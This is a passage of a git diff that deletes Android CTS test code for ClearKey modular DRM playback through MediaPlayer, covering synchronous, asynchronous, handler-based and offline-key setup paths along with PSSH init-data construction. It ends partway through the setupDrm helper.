-    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V3_ASYNC_DRMPREPARED() throws Exception {
-        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
-                CENC_AUDIO_URL_DOWNLOADED,
-                RES_AUDIO,
-                ModularDrmTestType.V3_ASYNC_DRMPREPARED_TEST);
-    }
-
-    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V5_ASYNC_WITH_HANDLER() throws Exception {
-        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
-                CENC_AUDIO_URL_DOWNLOADED,
-                RES_AUDIO,
-                ModularDrmTestType.V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER);
-    }
-
-    // helpers
-
-    private void stream(Uri uri, Resolution res, ModularDrmTestType testType) throws Exception {
-        playModularDrmVideo(uri, res.width, res.height, testType);
-    }
-
-    private void download(Uri remote, Uri local, Resolution res, ModularDrmTestType testType)
-            throws Exception {
-        playModularDrmVideoDownload(remote, local, res.width, res.height, testType);
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
deleted file mode 100644
index 23ad13ac..0000000
--- a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
+++ /dev/null
@@ -1,1136 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.app.DownloadManager;
-import android.app.DownloadManager.Request;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.media.MediaDrm;
-import android.media.MediaPlayer;
-import android.media.MediaPlayer.DrmInfo;
-import android.media.ResourceBusyException;
-import android.media.UnsupportedSchemeException;
-import android.media.cts.TestUtils.Monitor;
-import android.net.Uri;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.Message;
-import android.os.PersistableBundle;
-import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Base64;
-import android.util.Log;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.HttpCookie;
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.nio.charset.Charset;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-import java.util.Vector;
-import java.util.logging.Logger;
-import java.util.concurrent.atomic.AtomicBoolean;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-
-/**
- * Base class for tests which use MediaPlayer to play audio or video.
- */
-public class MediaPlayerDrmTestBase extends ActivityInstrumentationTestCase2<MediaStubActivity> {
-    private static final Logger LOG = Logger.getLogger(MediaPlayerTestBase.class.getName());
-
-    protected static final int STREAM_RETRIES = 3;
-
-    protected Monitor mOnVideoSizeChangedCalled = new Monitor();
-    protected Monitor mOnErrorCalled = new Monitor();
-
-    protected Context mContext;
-    protected Resources mResources;
-
-    protected MediaPlayer mMediaPlayer = null;
-    protected MediaStubActivity mActivity;
-
-    public MediaPlayerDrmTestBase() {
-        super(MediaStubActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        getInstrumentation().waitForIdleSync();
-        try {
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    mMediaPlayer = new MediaPlayer();
-                }
-            });
-        } catch (Throwable e) {
-            e.printStackTrace();
-            fail();
-        }
-        mContext = getInstrumentation().getTargetContext();
-        mResources = mContext.getResources();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mMediaPlayer != null) {
-            mMediaPlayer.release();
-            mMediaPlayer = null;
-        }
-        mActivity = null;
-        super.tearDown();
-    }
-
-    protected void setOnErrorListener() {
-        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer mp, int what, int extra) {
-                mOnErrorCalled.signal();
-                return false;
-            }
-        });
-    }
-
-    private static class PrepareFailedException extends Exception {}
-
-    //////////////////////////////////////////////////////////////////////////////////////////
-    // Modular DRM
-
-    private static final String TAG = "MediaPlayerDrmTestBase";
-
-    protected static final int PLAY_TIME_MS = 60 * 1000;
-    protected byte[] mKeySetId;
-    protected boolean mAudioOnly;
-
-    private static final byte[] CLEAR_KEY_CENC = {
-            (byte)0x1a, (byte)0x8a, (byte)0x20, (byte)0x95,
-            (byte)0xe4, (byte)0xde, (byte)0xb2, (byte)0xd2,
-            (byte)0x9e, (byte)0xc8, (byte)0x16, (byte)0xac,
-            (byte)0x7b, (byte)0xae, (byte)0x20, (byte)0x82
-            };
-
-    private static final UUID CLEARKEY_SCHEME_UUID =
-            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
-
-    final byte[] CLEARKEY_PSSH = hexStringToByteArray(
-            "0000003470737368" +  // BMFF box header (4 bytes size + 'pssh')
-            "01000000" +          // Full box header (version = 1 flags = 0)
-            "1077efecc0b24d02" +  // SystemID
-            "ace33c1e52e2fb4b" +
-            "00000001" +          // Number of key ids
-            "60061e017e477e87" +  // Key id
-            "7e57d00d1ed00d1e" +
-            "00000000"            // Size of Data, must be zero
-            );
-
-
-    protected enum ModularDrmTestType {
-        V0_SYNC_TEST,
-        V1_ASYNC_TEST,
-        V2_SYNC_CONFIG_TEST,
-        V3_ASYNC_DRMPREPARED_TEST,
-        V4_SYNC_OFFLINE_KEY,
-        V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER,
-    }
-
-    // TODO: After living on these tests for a while, we can consider grouping them based on
-    // the asset such that each asset is downloaded once and played back with multiple tests.
-    protected void playModularDrmVideoDownload(Uri uri, Uri path, int width, int height,
-            ModularDrmTestType testType) throws Exception {
-        Uri file = uri;
-        long id = -1;
-        MediaDownloadManager mediaDownloadManager = new MediaDownloadManager(mContext);
-        if (uri.getScheme().startsWith("file")) {
-            Log.i(TAG, "Playing existing file:" + uri);
-            // file = uri;
-        } else {
-            final long DOWNLOAD_TIMEOUT_SECONDS = 600;
-            Log.i(TAG, "Downloading file:" + path);
-            id = mediaDownloadManager.downloadFileWithRetries(
-                    uri, path, DOWNLOAD_TIMEOUT_SECONDS, STREAM_RETRIES);
-            assertFalse("Download " + uri + " failed.", id == -1);
-            file = mediaDownloadManager.getUriForDownloadedFile(id);
-            Log.i(TAG, "Downloaded file:" + path + " id:" + id + " uri:" + file);
-        }
-
-        try {
-            playModularDrmVideo(file, width, height, testType);
-        } finally {
-            if (id != -1) {
-                mediaDownloadManager.removeFile(id);
-            }
-        }
-    }
-
-    protected void playModularDrmVideo(Uri uri, int width, int height,
-            ModularDrmTestType testType) throws Exception {
-        // Force gc for a clean start
-        System.gc();
-
-        playModularDrmVideoWithRetries(uri, width, height, PLAY_TIME_MS, testType);
-    }
-
-    protected void playModularDrmVideoWithRetries(Uri file, Integer width, Integer height,
-            int playTime, ModularDrmTestType testType) throws Exception {
-
-        // first the synchronous variation
-        boolean playedSuccessfully = false;
-        for (int i = 0; i < STREAM_RETRIES; i++) {
-            try {
-                Log.v(TAG, "playVideoWithRetries(" + testType + ") try " + i);
-                playLoadedModularDrmVideo(file, width, height, playTime, testType);
-
-                playedSuccessfully = true;
-                break;
-            } catch (PrepareFailedException e) {
-                // we can fail because of network issues, so try again
-                Log.w(TAG, "playVideoWithRetries(" + testType + ") failed on try " + i +
-                        ", trying playback again");
-                mMediaPlayer.stop();
-                mMediaPlayer.reset();
-            }
-        }
-        assertTrue("Stream did not play successfully after all attempts (syncDrmSetup)",
-                playedSuccessfully);
-    }
-
-    /**
-     * Play a video which has already been loaded with setDataSource().
-     * The DRM setup is performed synchronously.
-     *
-     * @param file data source
-     * @param width width of the video to verify, or null to skip verification
-     * @param height height of the video to verify, or null to skip verification
-     * @param playTime length of time to play video, or 0 to play entire video
-     * @param testType test type
-     */
-    private void playLoadedModularDrmVideo(final Uri file, final Integer width,
-            final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
-
-        switch (testType) {
-            case V0_SYNC_TEST:
-            case V1_ASYNC_TEST:
-            case V2_SYNC_CONFIG_TEST:
-            case V3_ASYNC_DRMPREPARED_TEST:
-            case V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER:
-                playLoadedModularDrmVideo_Generic(file, width, height, playTime, testType);
-                break;
-
-            case V4_SYNC_OFFLINE_KEY:
-                playLoadedModularDrmVideo_V4_offlineKey(file, width, height, playTime);
-                break;
-        }
-    }
-
-    private void playLoadedModularDrmVideo_Generic(final Uri file, final Integer width,
-            final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
-
-        final float leftVolume = 0.5f;
-        final float rightVolume = 0.5f;
-
-        mAudioOnly = (width == 0);
-
-        try {
-            Log.v(TAG, "playLoadedVideo: setDataSource()");
-            mMediaPlayer.setDataSource(mContext, file);
-        } catch (IOException e) {
-            e.printStackTrace();
-            throw new PrepareFailedException();
-        }
-
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-        mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
-            @Override
-            public void onVideoSizeChanged(MediaPlayer mp, int w, int h) {
-                Log.v(TAG, "VideoSizeChanged" + " w:" + w + " h:" + h);
-                mOnVideoSizeChangedCalled.signal();
-            }
-        });
-        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer mp, int what, int extra) {
-                fail("Media player had error " + what + " playing video");
-                return true;
-            }
-        });
-
-        try {
-            switch (testType) {
-            case V0_SYNC_TEST:
-                preparePlayerAndDrm_V0_syncDrmSetup();
-                break;
-
-            case V1_ASYNC_TEST:
-                preparePlayerAndDrm_V1_asyncDrmSetup();
-                break;
-
-            case V2_SYNC_CONFIG_TEST:
-                preparePlayerAndDrm_V2_syncDrmSetupPlusConfig();
-                break;
-
-            case V3_ASYNC_DRMPREPARED_TEST:
-                preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener();
-                break;
-
-            case V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER:
-                preparePlayerAndDrm_V5_asyncDrmSetupWithHandler();
-                break;
-            }
-
-        } catch (IOException e) {
-            e.printStackTrace();
-            throw new PrepareFailedException();
-        }
-
-
-        final Monitor playbackCompleted = new Monitor();
-        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-            @Override
-            public void onCompletion(MediaPlayer mp) {
-                Log.v(TAG, "playLoadedVideo: onCompletion");
-                playbackCompleted.signal();
-            }
-        });
-
-        Log.v(TAG, "playLoadedVideo: start()");
-        mMediaPlayer.start();
-        if (!mAudioOnly) {
-            mOnVideoSizeChangedCalled.waitForSignal();
-        }
-        mMediaPlayer.setVolume(leftVolume, rightVolume);
-
-        // waiting to complete
-        if (playTime == 0) {
-            Log.v(TAG, "playLoadedVideo: waiting for playback completion");
-            playbackCompleted.waitForSignal();
-        } else {
-            Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
-            playbackCompleted.waitForSignal(playTime);
-        }
-
-        Log.v(TAG, "playLoadedVideo: stopping");
-        mMediaPlayer.stop();
-        Log.v(TAG, "playLoadedVideo: stopped");
-
-        try {
-            Log.v(TAG, "playLoadedVideo: releaseDrm");
-            mMediaPlayer.releaseDrm();
-        } catch (Exception e) {
-            e.printStackTrace();
-            throw new PrepareFailedException();
-        }
-    }
-
-    private void preparePlayerAndDrm_V0_syncDrmSetup() throws Exception {
-        Log.v(TAG, "preparePlayerAndDrm_V0: calling prepare()");
-        mMediaPlayer.prepare();
-
-        DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
-        if (drmInfo != null) {
-            setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
-                    MediaDrm.KEY_TYPE_STREAMING);
-            Log.v(TAG, "preparePlayerAndDrm_V0: setupDrm done!");
-        }
-    }
-
-    private void preparePlayerAndDrm_V1_asyncDrmSetup() throws InterruptedException {
-        Monitor onPreparedCalled = new Monitor();
-        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
-
-        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
-            @Override
-            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
-                Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo" + drmInfo);
-
-                // in the callback (async mode) so handling exceptions here
-                try {
-                    setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
-                            MediaDrm.KEY_TYPE_STREAMING);
-                } catch (Exception e) {
-                    Log.v(TAG, "preparePlayerAndDrm_V1: setupDrm EXCEPTION " + e);
-                    asyncSetupDrmError.set(true);
-                }
-
-                Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo done!");
-            }
-        });
-
-        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
-            @Override
-            public void onPrepared(MediaPlayer mp) {
-                Log.v(TAG, "preparePlayerAndDrm_V1: onPrepared");
-
-                onPreparedCalled.signal();
-            }
-        });
-
-        Log.v(TAG, "preparePlayerAndDrm_V1: calling prepareAsync()");
-        mMediaPlayer.prepareAsync();
-
-        // Waiting till the player is prepared
-        onPreparedCalled.waitForSignal();
-
-        // to handle setupDrm error (async) in the main thread rather than the callback
-        if (asyncSetupDrmError.get()) {
-            fail("preparePlayerAndDrm_V1: setupDrm");
-        }
-    }
-
-    private void preparePlayerAndDrm_V2_syncDrmSetupPlusConfig() throws Exception {
-        mMediaPlayer.setOnDrmConfigHelper(new MediaPlayer.OnDrmConfigHelper() {
-            @Override
-            public void onDrmConfig(MediaPlayer mp) {
-                String WIDEVINE_SECURITY_LEVEL_3 = "L3";
-                String SECURITY_LEVEL_PROPERTY = "securityLevel";
-
-                try {
-                    String level = mp.getDrmPropertyString(SECURITY_LEVEL_PROPERTY);
-                    Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: " +
-                            SECURITY_LEVEL_PROPERTY + " -> " + level);
-                    mp.setDrmPropertyString(SECURITY_LEVEL_PROPERTY, WIDEVINE_SECURITY_LEVEL_3);
-                    level = mp.getDrmPropertyString(SECURITY_LEVEL_PROPERTY);
-                    Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: " +
-                            SECURITY_LEVEL_PROPERTY + " -> " + level);
-                } catch (MediaPlayer.NoDrmSchemeException e) {
-                    Log.v(TAG, "preparePlayerAndDrm_V2: NoDrmSchemeException");
-                } catch (Exception e) {
-                    Log.v(TAG, "preparePlayerAndDrm_V2: onDrmConfig EXCEPTION " + e);
-                }
-            }
-        });
-
-        Log.v(TAG, "preparePlayerAndDrm_V2: calling prepare()");
-        mMediaPlayer.prepare();
-
-        DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
-        if (drmInfo != null) {
-            setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
-                    MediaDrm.KEY_TYPE_STREAMING);
-            Log.v(TAG, "preparePlayerAndDrm_V2: setupDrm done!");
-        }
-    }
-
-    private void preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener()
-            throws InterruptedException {
-        Monitor onPreparedCalled = new Monitor();
-        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
-
-        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
-            @Override
-            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
-                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo" + drmInfo);
-
-                // DRM preperation
-                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
-                if (supportedSchemes.length == 0) {
-                    Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: No supportedSchemes");
-                    asyncSetupDrmError.set(true);
-                    return;
-                }
-
-                // setting up with the first supported UUID
-                // instead of supportedSchemes[0] in GTS
-                UUID drmScheme = CLEARKEY_SCHEME_UUID;
-                Log.d(TAG, "preparePlayerAndDrm_V3: onDrmInfo: selected " + drmScheme);
-
-                try {
-                    Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: calling prepareDrm");
-                    mp.prepareDrm(drmScheme);
-                    Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: called prepareDrm");
-                } catch (Exception e) {
-                    e.printStackTrace();
-                    Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: prepareDrm exception " + e);
-                    asyncSetupDrmError.set(true);
-                    return;
-                }
-
-                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo done!");
-            }
-        });
-
-        mMediaPlayer.setOnDrmPreparedListener(new MediaPlayer.OnDrmPreparedListener() {
-            @Override
-            public void onDrmPrepared(MediaPlayer mp, int status) {
-                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared status: " + status);
-
-                assertTrue("preparePlayerAndDrm_V3: onDrmPrepared did not succeed",
-                           status == MediaPlayer.PREPARE_DRM_STATUS_SUCCESS);
-
-                DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
-
-                // in the callback (async mode) so handling exceptions here
-                try {
-                    setupDrm(drmInfo, false /* prepareDrm */, true /* synchronousNetworking */,
-                            MediaDrm.KEY_TYPE_STREAMING);
-                } catch (Exception e) {
-                    Log.v(TAG, "preparePlayerAndDrm_V3: setupDrm EXCEPTION " + e);
-                    asyncSetupDrmError.set(true);
-                }
-
-                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared done!");
-            }
-        });
-
-        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
-            @Override
-            public void onPrepared(MediaPlayer mp) {
-                Log.v(TAG, "preparePlayerAndDrm_V3: onPrepared");
-
-                onPreparedCalled.signal();
-                Log.v(TAG, "preparePlayerAndDrm_V3: onPrepared done!");
-            }
-        });
-
-        Log.v(TAG, "preparePlayerAndDrm_V3: calling prepareAsync()");
-        mMediaPlayer.prepareAsync();
-
-        // Waiting till the player is prepared
-        onPreparedCalled.waitForSignal();
-
-        // to handle setupDrm error (async) in the main thread rather than the callback
-        if (asyncSetupDrmError.get()) {
-            fail("preparePlayerAndDrm_V3: setupDrm");
-        }
-    }
-
-    private void playLoadedModularDrmVideo_V4_offlineKey(final Uri file, final Integer width,
-            final Integer height, int playTime) throws Exception {
-        final float leftVolume = 0.5f;
-        final float rightVolume = 0.5f;
-
-        mAudioOnly = (width == 0);
-
-        Log.v(TAG, "playLoadedModularDrmVideo_V4_offlineKey: setDisplay " +
-                mActivity.getSurfaceHolder());
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-        mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
-            @Override
-            public void onVideoSizeChanged(MediaPlayer mp, int w, int h) {
-                Log.v(TAG, "VideoSizeChanged" + " w:" + w + " h:" + h);
-                mOnVideoSizeChangedCalled.signal();
-            }
-        });
-        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer mp, int what, int extra) {
-                fail("Media player had error " + what + " playing video");
-                return true;
-            }
-        });
-
-        final Monitor playbackCompleted = new Monitor();
-        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-            @Override
-            public void onCompletion(MediaPlayer mp) {
-                Log.v(TAG, "playLoadedVideo: onCompletion");
-                playbackCompleted.signal();
-            }
-        });
-
-        DrmInfo drmInfo = null;
-
-        for (int round = 0; round < 2 ; round++) {
-            boolean keyRequestRound = (round == 0);
-            boolean restoreRound = (round == 1);
-            Log.v(TAG, "playLoadedVideo: round " + round);
-
-            try {
-                Log.v(TAG, "playLoadedVideo: setDataSource()");
-                mMediaPlayer.setDataSource(mContext, file);
-
-                Log.v(TAG, "playLoadedVideo: prepare()");
-                mMediaPlayer.prepare();
-
-                // but preparing the DRM every time with proper key request type
-                drmInfo = mMediaPlayer.getDrmInfo();
-                if (drmInfo != null) {
-                    if (keyRequestRound) {
-                        // asking for offline keys
-                        setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
-                                 MediaDrm.KEY_TYPE_OFFLINE);
-                    } else if (restoreRound) {
-                        setupDrmRestore(drmInfo, true /* prepareDrm */);
-                    } else {
-                        fail("preparePlayer: unexpected round " + round);
-                    }
-                    Log.v(TAG, "preparePlayer: setupDrm done!");
-                }
-
-            } catch (IOException e) {
-                e.printStackTrace();
-                throw new PrepareFailedException();
-            }
-
-            Log.v(TAG, "playLoadedVideo: start()");
-            mMediaPlayer.start();
-            if (!mAudioOnly) {
-                mOnVideoSizeChangedCalled.waitForSignal();
-            }
-            mMediaPlayer.setVolume(leftVolume, rightVolume);
-
-            // waiting to complete
-            if (playTime == 0) {
-                Log.v(TAG, "playLoadedVideo: waiting for playback completion");
-                playbackCompleted.waitForSignal();
-            } else {
-                Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
-                playbackCompleted.waitForSignal(playTime);
-            }
-
-            Log.v(TAG, "playLoadedVideo: stopping");
-            mMediaPlayer.stop();
-            Log.v(TAG, "playLoadedVideo: stopped");
-
-            try {
-                if (drmInfo != null) {
-                    if (restoreRound) {
-                        // releasing the offline key
-                        setupDrm(null /* drmInfo */, false /* prepareDrm */,
-                                 true /* synchronousNetworking */, MediaDrm.KEY_TYPE_RELEASE);
-                        Log.v(TAG, "playLoadedVideo: released offline keys");
-                    }
-
-                    Log.v(TAG, "playLoadedVideo: releaseDrm");
-                    mMediaPlayer.releaseDrm();
-                }
-            } catch (Exception e) {
-                e.printStackTrace();
-                throw new PrepareFailedException();
-            }
-
-            if (keyRequestRound) {
-                playbackCompleted.reset();
-                final int SLEEP_BETWEEN_ROUNDS = 1000;
-                Thread.sleep(SLEEP_BETWEEN_ROUNDS);
-
-                Log.v(TAG, "playLoadedVideo: reset");
-                mMediaPlayer.reset();
-            }
-        } // for
-    }
-
-    private void preparePlayerAndDrm_V5_asyncDrmSetupWithHandler()
-            throws InterruptedException {
-        Monitor onPreparedCalled = new Monitor();
-        Monitor onDrmPreparedCalled = new Monitor();
-        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
-
-        Log.v(TAG, "preparePlayerAndDrm_V5: started " +  Thread.currentThread());
-        final HandlerThread handlerThread = new HandlerThread("ModDrmHandlerThread");
-        handlerThread.start();
-        Handler handler = new Handler(handlerThread.getLooper());
-
-        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
-            @Override
-            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
-                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo " + drmInfo +
-                        " " + Thread.currentThread());
-
-                // DRM preperation
-                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
-                if (supportedSchemes.length == 0) {
-                    Log.e(TAG, "preparePlayerAndDrm_V5: onDrmInfo: No supportedSchemes");
-                    asyncSetupDrmError.set(true);
-                    // we won't call prepareDrm anymore but need to get passed the wait
-                    onDrmPreparedCalled.signal();
-                    return;
-                }
-
-                // instead of supportedSchemes[0] in GTS
-                UUID drmScheme = CLEARKEY_SCHEME_UUID;
-                Log.d(TAG, "preparePlayerAndDrm_V5: onDrmInfo: selected " + drmScheme);
-
-                try {
-                    Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo: calling prepareDrm");
-                    mp.prepareDrm(drmScheme);
-                    Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo: called prepareDrm");
-                } catch (Exception e) {
-                    e.printStackTrace();
-                    Log.e(TAG, "preparePlayerAndDrm_V5: onDrmInfo: prepareDrm exception " + e);
-                    asyncSetupDrmError.set(true);
-                    // need to get passed the wait
-                    onDrmPreparedCalled.signal();
-                    return;
-                }
-
-                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo done!");
-            }
-        }, handler);
-
-        mMediaPlayer.setOnDrmPreparedListener(new MediaPlayer.OnDrmPreparedListener() {
-            @Override
-            public void onDrmPrepared(MediaPlayer mp, int status) {
-                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmPrepared status: " + status +
-                        " " + Thread.currentThread());
-
-                assertTrue("preparePlayerAndDrm_V5: onDrmPrepared did not succeed",
-                        status == MediaPlayer.PREPARE_DRM_STATUS_SUCCESS);
-
-                DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
-
-                // in the callback (async mode) so handling exceptions here
-                try {
-                    setupDrm(drmInfo, false /* prepareDrm */, true /* synchronousNetworking */,
-                            MediaDrm.KEY_TYPE_STREAMING);
-                } catch (Exception e) {
-                    Log.v(TAG, "preparePlayerAndDrm_V5: setupDrm EXCEPTION " + e);
-                    asyncSetupDrmError.set(true);
-                }
-
-                onDrmPreparedCalled.signal();
-                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmPrepared done!");
-            }
-        }, handler);
-
-        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
-            @Override
-            public void onPrepared(MediaPlayer mp) {
-                Log.v(TAG, "preparePlayerAndDrm_V5: onPrepared " + Thread.currentThread());
-
-                onPreparedCalled.signal();
-                Log.v(TAG, "preparePlayerAndDrm_V5: onPrepared done!");
-            }
-        });
-
-        Log.v(TAG, "preparePlayerAndDrm_V5: calling prepareAsync()");
-        mMediaPlayer.prepareAsync();
-
-        // Waiting till the player is prepared
-        onPreparedCalled.waitForSignal();
-        // Unlike v3, onDrmPrepared is not synced to onPrepared b/c of its own thread handler
-        onDrmPreparedCalled.waitForSignal();
-
-        // to handle setupDrm error (async) in the main thread rather than the callback
-        if (asyncSetupDrmError.get()) {
-            fail("preparePlayerAndDrm_V5: setupDrm");
-        }
-
-        // stop the handler thread; callbacks are processed by now.
-        handlerThread.quit();
-    }
-
-    // Converts a BMFF PSSH initData to a raw cenc initData
-    protected byte[] makeCencPSSH(UUID uuid, byte[] bmffPsshData) {
-        byte[] pssh_header = new byte[] { (byte)'p', (byte)'s', (byte)'s', (byte)'h' };
-        byte[] pssh_version = new byte[] { 1, 0, 0, 0 };
-        int boxSizeByteCount = 4;
-        int uuidByteCount = 16;
-        int dataSizeByteCount = 4;
-        // Per "W3C cenc Initialization Data Format" document:
-        // box size + 'pssh' + version + uuid + payload + size of data
-        int boxSize = boxSizeByteCount + pssh_header.length + pssh_version.length +
-            uuidByteCount + bmffPsshData.length + dataSizeByteCount;
-        int dataSize = 0;
-
-        // the default write is big-endian, i.e., network byte order
-        ByteBuffer rawPssh = ByteBuffer.allocate(boxSize);
-        rawPssh.putInt(boxSize);
-        rawPssh.put(pssh_header);
-        rawPssh.put(pssh_version);
-        rawPssh.putLong(uuid.getMostSignificantBits());
-        rawPssh.putLong(uuid.getLeastSignificantBits());
-        rawPssh.put(bmffPsshData);
-        rawPssh.putInt(dataSize);
-
-        return rawPssh.array();
-    }
-
-    /*
-     * Sets up the DRM for the first DRM scheme from the supported list.
-     *
-     * @param drmInfo DRM info of the source
-     * @param prepareDrm whether prepareDrm should be called
-     * @param synchronousNetworking whether the network operation of key request/response will
-     *        be performed synchronously
-     */
-    private void setupDrm(DrmInfo drmInfo, boolean prepareDrm, boolean synchronousNetworking,
-            int keyType) throws Exception {
-        Log.d(TAG, "setupDrm: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm +
-                " synchronousNetworking: " + synchronousNetworking);
-        try {
-            byte[] initData = null;
-            String mime = null;
-            String keyTypeStr = "Unexpected";
-
-            switch (keyType) {
-            case MediaDrm.KEY_TYPE_STREAMING:
-            case MediaDrm.KEY_TYPE_OFFLINE:
-                // DRM preparation
-                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
-                if (supportedSchemes.length == 0) {
-                    fail("setupDrm: No supportedSchemes");
-                }
-
-                // instead of supportedSchemes[0] in GTS
-                UUID drmScheme = CLEARKEY_SCHEME_UUID;
-                Log.d(TAG, "setupDrm: selected " + drmScheme);
-
-                if (prepareDrm) {
-                    mMediaPlayer.prepareDrm(drmScheme);
-                }
-
-                byte[] psshData = drmInfo.getPssh().get(drmScheme);
-                // diverging from GTS
-                if (psshData == null) {
-                    initData = CLEARKEY_PSSH;
-                    Log.d(TAG, "setupDrm: CLEARKEY scheme not found in PSSH. Using default data.");
-                } else {
-                    // Can skip conversion if ClearKey adds support for BMFF initData (b/64863112)
-                    initData = makeCencPSSH(CLEARKEY_SCHEME_UUID, psshData);
-                }
-                Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + Arrays.toString(initData));
-
-                // diverging from GTS
-                mime = "cenc";
-
-                keyTypeStr = (keyType == MediaDrm.KEY_TYPE_STREAMING) ?
-                        "KEY_TYPE_STREAMING" : "KEY_TYPE_OFFLINE";
-                break;
-
-            case MediaDrm.KEY_TYPE_RELEASE:
-                if (mKeySetId == null) {
-                    fail("setupDrm: KEY_TYPE_RELEASE requires a valid keySetId.");
-                }
-                keyTypeStr = "KEY_TYPE_RELEASE";
-                break;
-
-            default:
-                fail("setupDrm: Unexpected keyType " + keyType);
-            }
-
